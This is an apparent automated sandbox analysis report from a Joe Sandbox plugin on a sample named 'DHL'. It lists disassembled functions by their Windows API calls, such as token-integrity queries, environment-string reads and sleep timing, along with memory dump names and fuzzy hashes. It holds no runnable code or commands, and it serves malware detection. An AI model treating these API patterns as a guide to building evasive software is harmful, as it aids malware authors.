GetPixel.GDI32(00000000,?,00000003), ref: 00A209B0
ReleaseDC.USER32(00000000,00000003), ref: 00A209E8

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: Window$ForegroundPixelRelease
String ID:
API String ID: 4156661090-0
Opcode ID: 4e969d04fcef567ae4229846b9544a358398b4b58297c826cbdef7b71fd56bc1
Instruction ID: d868ab9d11f2c7e81495611eb60bc7c91fca67740ee2d014b2d67988ddbf4940
Opcode Fuzzy Hash: 4e969d04fcef567ae4229846b9544a358398b4b58297c826cbdef7b71fd56bc1
Instruction Fuzzy Hash: 82218435600214AFD704EFA9DD85AAEB7F5EF45710F048068F856A7762CB30AC45CB90

Function 009DCDBD Relevance: 7.6, APIs: 5, Instructions: 68COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 009DCDC6
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 009DCDE9

Part of subcall function 009D3820: RtlAllocateHeap.NTDLL(00000000,?,00A71444,?,009BFDF5,?,?,009AA976,00000010,00A71440,009A13FC,?,009A13C6,?,009A1129), ref: 009D3852

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 009DCE0F
_free.LIBCMT ref: 009DCE22
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 009DCE31

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: ByteCharEnvironmentMultiStringsWide$AllocateFreeHeap_free
String ID:
API String ID: 336800556-0
Opcode ID: cbdc39488c9cf2d511833548bd71277b576e8276ea8bfd154eee8d879a172cdd
Instruction ID: dedf3e8b7b251ac8d0bf0262f649b6c3832065f666801864fc710f4778a316fb
Opcode Fuzzy Hash: cbdc39488c9cf2d511833548bd71277b576e8276ea8bfd154eee8d879a172cdd
Instruction Fuzzy Hash: C101D4F26412167F632156BA6C88D7BBB6DDEC6BA1315812BF905D7300EA608D02D2B0

Function 009B9639 Relevance: 7.6, APIs: 5, Instructions: 66COMMON

Download Yara Rule

APIs

ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 009B9693
SelectObject.GDI32(?,00000000), ref: 009B96A2
BeginPath.GDI32(?), ref: 009B96B9
SelectObject.GDI32(?,00000000), ref: 009B96E2

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: ObjectSelect$BeginCreatePath
String ID:
API String ID: 3225163088-0
Opcode ID: 5e500a3a80cd2bf15fcf4f1afacd78f78c6e2f2c2e2429037b686b3d454f5813
Instruction ID: 84a27ab8e1ca5ed18bd70c9b53a28ce1936d4bf72ee64990de7fba68650dad0c
Opcode Fuzzy Hash: 5e500a3a80cd2bf15fcf4f1afacd78f78c6e2f2c2e2429037b686b3d454f5813
Instruction Fuzzy Hash: B4218031812305EBDB11DFA8ED197E97BF8BB50335F108216F618A61B0D3705893CB90

Function 00A05711 Relevance: 7.6, APIs: 5, Instructions: 61COMMON

Download Yara Rule

APIs

_memcmp.LIBVCRUNTIME ref: 00A05726
_memcmp.LIBVCRUNTIME ref: 00A05744
_memcmp.LIBVCRUNTIME ref: 00A05757
_memcmp.LIBVCRUNTIME ref: 00A0576F
_memcmp.LIBVCRUNTIME ref: 00A05787

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: f19ab5c7df81f99e0d631a53a44c93f17b1a2374d54259002114872e7f337662
Instruction ID: c3346d9b32b2fcc14c6976abefe404ef03cf6ab53533c9b63b064bc3f52a32b7
Opcode Fuzzy Hash: f19ab5c7df81f99e0d631a53a44c93f17b1a2374d54259002114872e7f337662
Instruction Fuzzy Hash: B201B9B1E8160DBFD7185620EE42FBB735CAF61398F004824FD04AA2C2F760ED1096A5

Function 009D2DF8 Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,009CF2DE,009D3863,00A71444,?,009BFDF5,?,?,009AA976,00000010,00A71440,009A13FC,?,009A13C6), ref: 009D2DFD
_free.LIBCMT ref: 009D2E32
_free.LIBCMT ref: 009D2E59
SetLastError.KERNEL32(00000000,009A1129), ref: 009D2E66
SetLastError.KERNEL32(00000000,009A1129), ref: 009D2E6F

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: ErrorLast$_free
String ID:
API String ID: 3170660625-0
Opcode ID: 7e61073a26abceeacd4f4baa31d215965b2a855024de1bd63e7e6270a3840d63
Instruction ID: 566f6217ab5971d05ebc98f54e4e4c214c6298b395ed52d790ad00287310a768
Opcode Fuzzy Hash: 7e61073a26abceeacd4f4baa31d215965b2a855024de1bd63e7e6270a3840d63
Instruction Fuzzy Hash: EC01F9365C56006BC61267B46C45E2B276DABF13B2725C927F465A3392EA74CC024130

Function 00A0000E Relevance: 7.5, APIs: 5, Instructions: 47stringCOMMON

Download Yara Rule

APIs

CLSIDFromProgID.OLE32(?,?,?,00000000,?,?,?,-C000001E,00000001,?,009FFF41,80070057,?,?,?,00A0035E), ref: 00A0002B
ProgIDFromCLSID.OLE32(?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,009FFF41,80070057,?,?), ref: 00A00046
lstrcmpiW.KERNEL32(?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,009FFF41,80070057,?,?), ref: 00A00054
CoTaskMemFree.OLE32(00000000,?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,009FFF41,80070057,?), ref: 00A00064
CLSIDFromString.OLE32(?,?,?,?,?,00000000,?,?,?,-C000001E,00000001,?,009FFF41,80070057,?,?), ref: 00A00070

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: From$Prog$FreeStringTasklstrcmpi
String ID:
API String ID: 3897988419-0
Opcode ID: c92ceeab9a5d94345068a1e9671d3aeaf8d1c83d09d5b708201bc23927b21e30
Instruction ID: a67310d6545aac5416381102b46f8dbb0f9181ed5bc1a7204836b0d85b6b3824
Opcode Fuzzy Hash: c92ceeab9a5d94345068a1e9671d3aeaf8d1c83d09d5b708201bc23927b21e30
Instruction Fuzzy Hash: 9C01A276600208BFDB108FA8EC48FAA7EFDEF44762F144124F905E6250EB71DE418BA0

Function 00A0E97B Relevance: 7.5, APIs: 5, Instructions: 47sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?), ref: 00A0E997
QueryPerformanceFrequency.KERNEL32(?), ref: 00A0E9A5
Sleep.KERNEL32(00000000), ref: 00A0E9AD
QueryPerformanceCounter.KERNEL32(?), ref: 00A0E9B7
Sleep.KERNEL32 ref: 00A0E9F3

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: PerformanceQuery$CounterSleep$Frequency
String ID:
API String ID: 2833360925-0
Opcode ID: 9e2d4fcdb051e4f7d7119933f78ddb1b3265174c22e1261f93af0956516ac8f1
Instruction ID: b0fd0d0ccb6e2ea709ab529c9170f8f78fa62241c0e264ac7980a4524313d783
Opcode Fuzzy Hash: 9e2d4fcdb051e4f7d7119933f78ddb1b3265174c22e1261f93af0956516ac8f1
Instruction Fuzzy Hash: D9011731C0162DDBCF00EBE5ED59AEDFB78BB09751F000A56E502B2291CB309665ABA1

Function 00A010F9 Relevance: 7.5, APIs: 5, Instructions: 46memoryCOMMON

Download Yara Rule

APIs

GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00A01114
GetLastError.KERNEL32(?,00000000,00000000,?,?,00A00B9B,?,?,?), ref: 00A01120
GetProcessHeap.KERNEL32(00000008,?,?,00000000,00000000,?,?,00A00B9B,?,?,?), ref: 00A0112F
HeapAlloc.KERNEL32(00000000,?,00000000,00000000,?,?,00A00B9B,?,?,?), ref: 00A01136
GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00A0114D

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: HeapObjectSecurityUser$AllocErrorLastProcess
String ID:
API String ID: 842720411-0
Opcode ID: b6114168e067481358b25bfbe815d901f72d0e0c731f93760255480da0999105
Instruction ID: 215ec4bcc160a3a03188c730747444aceb355de487d995ff12a6f2ecf3123a2e
Opcode Fuzzy Hash: b6114168e067481358b25bfbe815d901f72d0e0c731f93760255480da0999105
Instruction Fuzzy Hash: 82016D75500215BFDB158FA4EC49AAA3B6EEF85364B100418FA41D7350DA31DC019B60

Function 00A00FB4 Relevance: 7.5, APIs: 5, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 00A00FCA
GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 00A00FD6
GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 00A00FE5
HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 00A00FEC
GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 00A01002

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: c16ffcd53ed580b2cdb7334635977aea0269aa82f4ab66758dc29ba95463b61d
Instruction ID: 822eec13bcb32f91cfddb3452de56a504175e9170193b964728dafcbac03a15e
Opcode Fuzzy Hash: c16ffcd53ed580b2cdb7334635977aea0269aa82f4ab66758dc29ba95463b61d
Instruction Fuzzy Hash: F9F06235200315EBD7218FE4EC4DF963B6DEF8A761F104414F946D7291CA70DC518B60

Function 00A01014 Relevance: 7.5, APIs: 5, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 00A0102A
GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 00A01036
GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00A01045
HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 00A0104C
GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00A01062

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: 01dbe958461581b16f29648c590600a477fb5d1c0851ffbfb1675835394a9dad
Instruction ID: 08f0555776a67740a8fbf4f1dd087d11813d7e8984e807a67127a782e7c94ce3
Opcode Fuzzy Hash: 01dbe958461581b16f29648c590600a477fb5d1c0851ffbfb1675835394a9dad
Instruction Fuzzy Hash: C6F06D35200315EBDB219FE4EC49F963BADEF8A761F500424FA85E7290CA70D8518B60

Function 00A1030F Relevance: 7.5, APIs: 6, Instructions: 41COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?,?,?,?,00A1017D,?,00A132FC,?,00000001,009E2592,?), ref: 00A10324
CloseHandle.KERNEL32(?,?,?,?,00A1017D,?,00A132FC,?,00000001,009E2592,?), ref: 00A10331
CloseHandle.KERNEL32(?,?,?,?,00A1017D,?,00A132FC,?,00000001,009E2592,?), ref: 00A1033E
CloseHandle.KERNEL32(?,?,?,?,00A1017D,?,00A132FC,?,00000001,009E2592,?), ref: 00A1034B
CloseHandle.KERNEL32(?,?,?,?,00A1017D,?,00A132FC,?,00000001,009E2592,?), ref: 00A10358
CloseHandle.KERNEL32(?,?,?,?,00A1017D,?,00A132FC,?,00000001,009E2592,?), ref: 00A10365

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: fee9a078a1e7f0cc81891a872d6d8bfbd109c7becec7cd422b2b348aa07a0c8d
Instruction ID: a9c38ad2ee644f4cf43ecd23981cdd3615aea5953d6fc16d2080ba475a1eb64f
Opcode Fuzzy Hash: fee9a078a1e7f0cc81891a872d6d8bfbd109c7becec7cd422b2b348aa07a0c8d
Instruction Fuzzy Hash: C401AA72800B159FCB30AF66D880852FBF9BF603153158A3FD1A696931C3B1A999DF80

Function 009DD73A Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 009DD752

Part of subcall function 009D29C8: RtlFreeHeap.NTDLL(00000000,00000000,?,009DD7D1,00000000,00000000,00000000,00000000,?,009DD7F8,00000000,00000007,00000000,?,009DDBF5,00000000), ref: 009D29DE
Part of subcall function 009D29C8: GetLastError.KERNEL32(00000000,?,009DD7D1,00000000,00000000,00000000,00000000,?,009DD7F8,00000000,00000007,00000000,?,009DDBF5,00000000,00000000), ref: 009D29F0

_free.LIBCMT ref: 009DD764
_free.LIBCMT ref: 009DD776
_free.LIBCMT ref: 009DD788
_free.LIBCMT ref: 009DD79A

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 0cdb25cad5272556cd0bf3d69eb1197ddde68222a8c3be1531adb5231634c20e
Instruction ID: c9981ad142ae399655108d943a524061fa9745504828107521025b1475c6b173
Opcode Fuzzy Hash: 0cdb25cad5272556cd0bf3d69eb1197ddde68222a8c3be1531adb5231634c20e
Instruction Fuzzy Hash: ACF036725C5204ABC625EBA4FAC5D2677EDBB94760B948C47F098E7701C774FC808A64

Function 00A05C44 Relevance: 7.5, APIs: 5, Instructions: 40windowtimeCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003E9), ref: 00A05C58
GetWindowTextW.USER32(00000000,?,00000100), ref: 00A05C6F
MessageBeep.USER32(00000000), ref: 00A05C87
KillTimer.USER32(?,0000040A), ref: 00A05CA3
EndDialog.USER32(?,00000001), ref: 00A05CBD

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: BeepDialogItemKillMessageTextTimerWindow
String ID:
API String ID: 3741023627-0
Opcode ID: 2e929e17738f625ef51fc9912800ea5a0c69a0ceac842e157eedd209843af4b8
Instruction ID: 88455242aad572428b48efd5564458eec9a81cf7571af11aa67225d65cda4847
Opcode Fuzzy Hash: 2e929e17738f625ef51fc9912800ea5a0c69a0ceac842e157eedd209843af4b8
Instruction Fuzzy Hash: AF018631900B08ABFB259B60ED4FFA67BB8BB01B05F041559B583B10E1DBF4A9858F90

Function 009D22A0 Relevance: 7.5, APIs: 5, Instructions: 30COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 009D22BE

Part of subcall function 009D29C8: RtlFreeHeap.NTDLL(00000000,00000000,?,009DD7D1,00000000,00000000,00000000,00000000,?,009DD7F8,00000000,00000007,00000000,?,009DDBF5,00000000), ref: 009D29DE
Part of subcall function 009D29C8: GetLastError.KERNEL32(00000000,?,009DD7D1,00000000,00000000,00000000,00000000,?,009DD7F8,00000000,00000007,00000000,?,009DDBF5,00000000,00000000), ref: 009D29F0

_free.LIBCMT ref: 009D22D0
_free.LIBCMT ref: 009D22E3
_free.LIBCMT ref: 009D22F4
_free.LIBCMT ref: 009D2305

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 602240bd574ed9c4afe9374410e1172243924708debc51e22e842135fffd9ae7
Instruction ID: 309898fa5a297164436dee78f3d5aa69daf2a8a480364d0db7c5fb43bcbd541b
Opcode Fuzzy Hash: 602240bd574ed9c4afe9374410e1172243924708debc51e22e842135fffd9ae7
Instruction Fuzzy Hash: 35F03A748801208BC622EFE8BD11D583BA8B728760700C55BF418D33B2CB700893BFE4

Function 009B95C5 Relevance: 7.5, APIs: 5, Instructions: 29COMMON

Download Yara Rule

APIs

EndPath.GDI32(?), ref: 009B95D4
StrokeAndFillPath.GDI32(?,?,009F71F7,00000000,?,?,?), ref: 009B95F0
SelectObject.GDI32(?,00000000), ref: 009B9603
DeleteObject.GDI32 ref: 009B9616
StrokePath.GDI32(?), ref: 009B9631

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: Path$ObjectStroke$DeleteFillSelect
String ID:
API String ID: 2625713937-0
Opcode ID: f5543266ba166829042c9a8d0e8c91188d50496e38cb194015e5827e0153f8f2
Instruction ID: 16d8d1a1df1a00ccd540e56ed1fb810847f8d951a015410a961a9dbe9b8a826e
Opcode Fuzzy Hash: f5543266ba166829042c9a8d0e8c91188d50496e38cb194015e5827e0153f8f2
Instruction Fuzzy Hash: 6BF0B631015244EBDB26DFE9EE297A43BA5AB01332F44C214F669650F0C7748997DF20

Function 009D0F47 Relevance: 7.4, APIs: 2, Strings: 2, Instructions: 389COMMONLIBRARYCODE

Download Yara Rule

APIs

__freea.LIBCMT ref: 009D10F9
__freea.LIBCMT ref: 009D1117

Part of subcall function 009D1537: _free.LIBCMT ref: 009D154F

Strings

am/pm, xrefs: 009D117A
a/p, xrefs: 009D11DE

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: __freea$_free
String ID: a/p$am/pm
API String ID: 3432400110-3206640213
Opcode ID: 2e32f7ed3d64ef54499ff942f1c4159f1584d9da6944eefc0bd6ab5a27042870
Instruction ID: a32fa2da4d11fc53734c1c5843cc35171fb0a22b673c8af1e52bfdda30790793
Opcode Fuzzy Hash: 2e32f7ed3d64ef54499ff942f1c4159f1584d9da6944eefc0bd6ab5a27042870
Instruction Fuzzy Hash: EAD1F137984206EADB289F68C845BBEB7B9EF05300F24C51BE6119B751D3359D80CB91

Function 00A27B7E Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 230COMMON

Download Yara Rule

APIs

Part of subcall function 009C0242: EnterCriticalSection.KERNEL32(00A7070C,00A71884,?,?,009B198B,00A72518,?,?,?,009A12F9,00000000), ref: 009C024D
Part of subcall function 009C0242: LeaveCriticalSection.KERNEL32(00A7070C,?,009B198B,00A72518,?,?,?,009A12F9,00000000), ref: 009C028A

Part of subcall function 009A9CB3: _wcslen.LIBCMT ref: 009A9CBD

Part of subcall function 009C00A3: __onexit.LIBCMT ref: 009C00A9

__Init_thread_footer.LIBCMT ref: 00A27BFB

Part of subcall function 009C01F8: EnterCriticalSection.KERNEL32(00A7070C,?,?,009B8747,00A72514), ref: 009C0202
Part of subcall function 009C01F8: LeaveCriticalSection.KERNEL32(00A7070C,?,009B8747,00A72514), ref: 009C0235

Strings

Variable must be of type 'Object'., xrefs: 00A27C3A
G, xrefs: 00A27C7F
5, xrefs: 00A27C78

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

